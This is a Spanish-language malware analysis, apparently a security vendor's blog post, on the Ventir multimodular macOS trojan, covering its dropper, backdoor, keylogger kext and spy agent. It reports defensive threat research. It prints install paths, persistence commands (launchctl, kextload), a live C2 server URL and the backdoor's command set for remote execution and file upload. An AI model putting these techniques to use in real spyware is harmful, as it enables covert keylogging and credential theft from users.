El troyano Ventir: arma tu propio espía para MacOS

Hace poco tiempo nos llegó para su análisis un interesante fichero (MD5 9283c61f8cce4258c8111aaf098d21ee), que resultó ser un programa malicioso multimodular para MacOS X. Ya desde los resultados del estudio preliminar quedó claro queš no hacía nada bueno: un fichero mach de 64 bits común y corriente contenía en su sección de datos muchos otros ficheros mach, uno de los cuales se instalaba en el sector de ejecución automática, como es típico de los troyanos-droppers.

La investigación posterior mostró que dentro del programa malicioso se escondían un backdoor, un keylogger y un troyano-espía. Y lo más interesante es que el keylogger usaba una extensión del núcleo (kext) con código fuente abierto, que está a la disposición de todos, por ejemplo, en GitHub.

En este momento, los productos de Kaspersky Lab detectan los ficheros descubiertos como: Trojan-Dropper.OSX.Ventir.a, Backdoor.OSX.Ventir.a, Trojan-Spy.OSX.Ventir.a y not-a-virus:Monitor.OSX.LogKext.c, dependiendo de cuáles son sus objetivos.

Fichero fuente (Trojan-Dropper.OSX.Ventir.a)

Nada más ejecutarse, el dropper comprueba que tiene privilegios de superusuario mediante la función geteuid(). Del resultado de la prueba dependerá dónde se instalarán los ficheros del troyano:

  • Si tiene privilegios de superusuario, los ficheros se instalan en /Library/.local y /Library/LaunchDaemons;
  • Si no los tiene, los ficheros se instalan en ~/Library/.local y ~/Library/LaunchAgents (el carácter “~” representa la ruta a la carpeta del usuario activo).

Todos los ficheros del troyano destinados a cargarse en el equipo infectado se encuentran desde el principio en la sección “__data” del fichero-dropper.

Ubicación de los ficheros del troyano dentro del dropper

Al final, se instalan en el sistema infectado los siguientes ficheros:

  1. Library/.local/updated, que lanza de nuevo los ficheros updated y EventMonitor si por algún motivo se han dejado de ejecutar.
  2. Library/.local/reweb, que sirve para reiniciar el fichero updated.
  3. Library/.local/update, un módulo de backdoor.
  4. Library/.local/libweb.db, el fichero de base de datos del programa malicioso. Contiene la configuración global del troyano, por ejemplo, la dirección del servidor de administración.
  5. Library/LaunchAgents (o LaunchDaemons)/com.updated.launchagent.plist, un fichero de características que se usa para instalar el fichero Library/.local/updated en la ejecución automática mediante el daemon launchd.
  6. Dependiendo de la presencia de privilegios de superusuario:

    A) si los tiene, lo hace en /Library/.local/kext.tar. A continuación, el archivo se descomprime a sí mismo, extrayendo los siguientes ficheros:

    • updated.kext, el driver que intercepta las teclas que pulsa el usuario;
    • Keymap.plist, un mapa de las correspondencias entre teclas y sus valores;
    • EventMonitor, un agente que lleva un registro de las teclas pulsadas, así como los eventos del sistema, anotándolos en el fichero Library/.local/.logfile.

    B) si no los tiene, lo hace en ~/Library/.local/EventMonitor. Es un agente que hace un seguimiento del nombre de la ventana activa y de las pulsaciones, y las anota en el fichero Library/.local/.logfile.

Después de instalar estosos ficheros, el troyano instala en la ejecución automática el fichero updated mediante el utilitario estándar de consola launchctl (usando la instrucción launchctl load %s/com.updated.launchagent.plist).

Luego, si tiene privilegios de superusuario, el dropper carga un driver que hace logs en el núcleo mediante el utilitario estándar de OSX kextload (usando la instrucción kextload /System/Library/Extensions/updated.kext).

A continuación Trojan-Dropper.OSX.Ventir.a ejecuta el fichero reweb y se autoelimina del sistema.

Ficheros updated y reweb

El fichero updated elimina todos los procesos que tengan el nombre reweb (instrucción killall -9 reweb). Más adelante verifica periódicamente si se están ejecutando los procesos EventMonitor y update, y en caso de necesidad, los vuelve a lanzar.

El fichero reweb termina todos los procesos que tengan los nombres updated y update, después de lo cual ejecuta el fichero Library/.local/updated.

El fichero update (Backdoor.OSX.Ventir.a)

Al iniciar su trabajo el backdoor distribuye los valores de los campos de la tabla config de la base de datos libweb.db entre las variables locales para su posterior uso.

Para obtener instrucciones usa una solicitud HTTP GET similar a: http://220.175.13.250:82/macsql.php?mode=getcmd&key=1000&udid=000C29174BA0

donde key es cierta clave almacenada en libweb.db en la tabla config; udid, la dirección MAC y 220.175.13.250:82 la dirección IP y el puerto del servidor de administración.

Esta solicitud se envía a intervalos cortos en un ciclo constante e ininterrumpido.

El backdoor puede procesar las siguientes instrucciones del servidor de administración:

  • reboot, reiniciar el equipo;
  • restart, reiniciar el backdoor mediante la ejecución del fichero reweb;
  • uninstall, eliminación total del backdoor del sistema.
  • show config, enviar datos de la tabla config al servidor de administración;
  • down exec, actualizar el fichero update, descargarlo desde el servidor de administración;
  • down config, actualizar el fichero de configuración libweb.db, descargarlo desde el servidor de administración;
  • upload config, enviar el fichero libweb.db al servidor de administración;
  • update config:[parámetros], actualizar la tabla config en el fichero de la base de datos libweb.db, en los parámetros se envían los valores de los campos de la tabla;
  • executeCMD: [parámetro], ejecutar la instrucción indicada en el parámetro mediante la función popen(cmd, “r”), enviar los resultados de la instrucción al servidor de administración;
  • executeSYS: [parámetro], ejecutar la instrucción indicada en el parámetro mediante la función system(cmd);
  • executePATH:[parámetro], ejecutar un fichero del directorio Library/.local, el nombre del fichero se envía en el parámetro;
  • uploadfrompath: [parámetro], descargar un fichero con el nombre indicado en el parámetro desde el directorio Library/.local/ al servidor de administración;
  • downfile: [parámetros], descargar un fichero que tenga el nombre indicado en el parámetro desde el servidor de administración y guardarlo en la ruta indicada en el parámetro.

Parte de las instrucciones procesadas por el módulo backdoor.

Fichero EventMonitor (Trojan-Spy.OSX.Ventir.a)

Este fichero se carga al sistema si el dropper no consigue obtener los derechos de superusuario. Después de lanzarse, Trojan-Spy.OSX.Ventir.a instala su procesador de eventos del sistema con la ayuda de la función API Carbon Event Manager. Este nuevo procesador intercepta los eventos relacionados con la pulsación de teclas y los anota en un registro en el fichero ~/Library/.local/.logfile. Los botones modificadores (como por ejemplo shift) se anotan en el registro de la siguiente manera: [command],š [option],š [ctrl], [fn], [ESC], [tab], [backspace], etc.

Procesador de las pulsaciones del teclado

También, justo antes de procesar la pulsación de una tecla, determina el nombre del proceso cuya ventana está activa en ese momento. Para este fin se usan las funciones GetFrontProcess y CopyProcessName de Carbon API. El nombre del proceso también se anota en el registro de la siguiente manera: [La aplicación {nombre del proceso} está en la ventana frontal]. Gracias a esto, el dueño del troyano puede determinar en qué aplicación se ha introducido la frase registrada.

Fichero kext.tar (not-a-virus:Monitor.OSX.LogKext.c)

Como ya hemos dicho, el archivo kext.tar se carga en el equipo infectado si el troyano Trojan-Dropper.OSX.Ventir ha logrado obtener privilegios de superusuario. En el archivo hay tres ficheros:

  • updated.kext
  • EventMonitor
  • Keymap.plist

El paquete de software updated.kext es una extensión del núcleo (kext) de código fuente abierto y está destinado a interceptar las pulsaciones de teclas. Nuestros productos detectan esta extensión desde hace mucho tiempo como not-a-virus:Monitor.OSX.LogKext.c y su código fuente (como ya hemos dicho) en este momento está a disposición del público en general.

El fichero Keymap.plist es un mapa de las correspondencias entre teclas y sus valores. El fichero EventMonitor lo usa para determinar los valores de las teclas usando los códigos correspondientes, que le transmite el fichero updated.kext.

El fichero EventMonitor es un fichero-agente que recibe los datos provenientes de la extensión del núcleo updated.kext, los procesa y los anota en el fichero de registro /Library/.local/.logfile. He aquí, por ejemplo, una parte de este registro que contiene un login y una contraseña interceptadas por el troyano:

Como vemos en la captura de pantalla, tan pronto como la víctima usa el navegador para entrar en el sitio yandex.ru e introduce allí su login y contraseña de correo, estos datos ingresan al registro y de allí caen en manos de los delincuentes.

Esta amenaza adquiere particular vigencia con las fugas ocurridas de las bases de datos de logins y contraseñas de cuentas en Yandex, Mail.ru y Gmail. No podemos excluir la posibilidad de que los programas maliciosos de la familia Ventir hayan tenido que ver con lo sucedido con estas bases de datos.

Para concluir, merece la pena destacar que por su estructura multimodular el troyano Trojan-Dropper.OSX.Ventir.a nos recuerda al famoso Trojan.OSX.Morcut (también conocido como OSX/Crisis) que tenía aproximadamente la misma cantidad de módulos con nombres similares. El uso de software con código fuente abierto hace que para los delincuentes sea mucho más fácil crear nuevos programas maliciosos. De esta manera, podemos suponer que la cantidad de espías-troyanos no hará otra cosa que aumentar en el futuro.

Publicaciones relacionadas

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *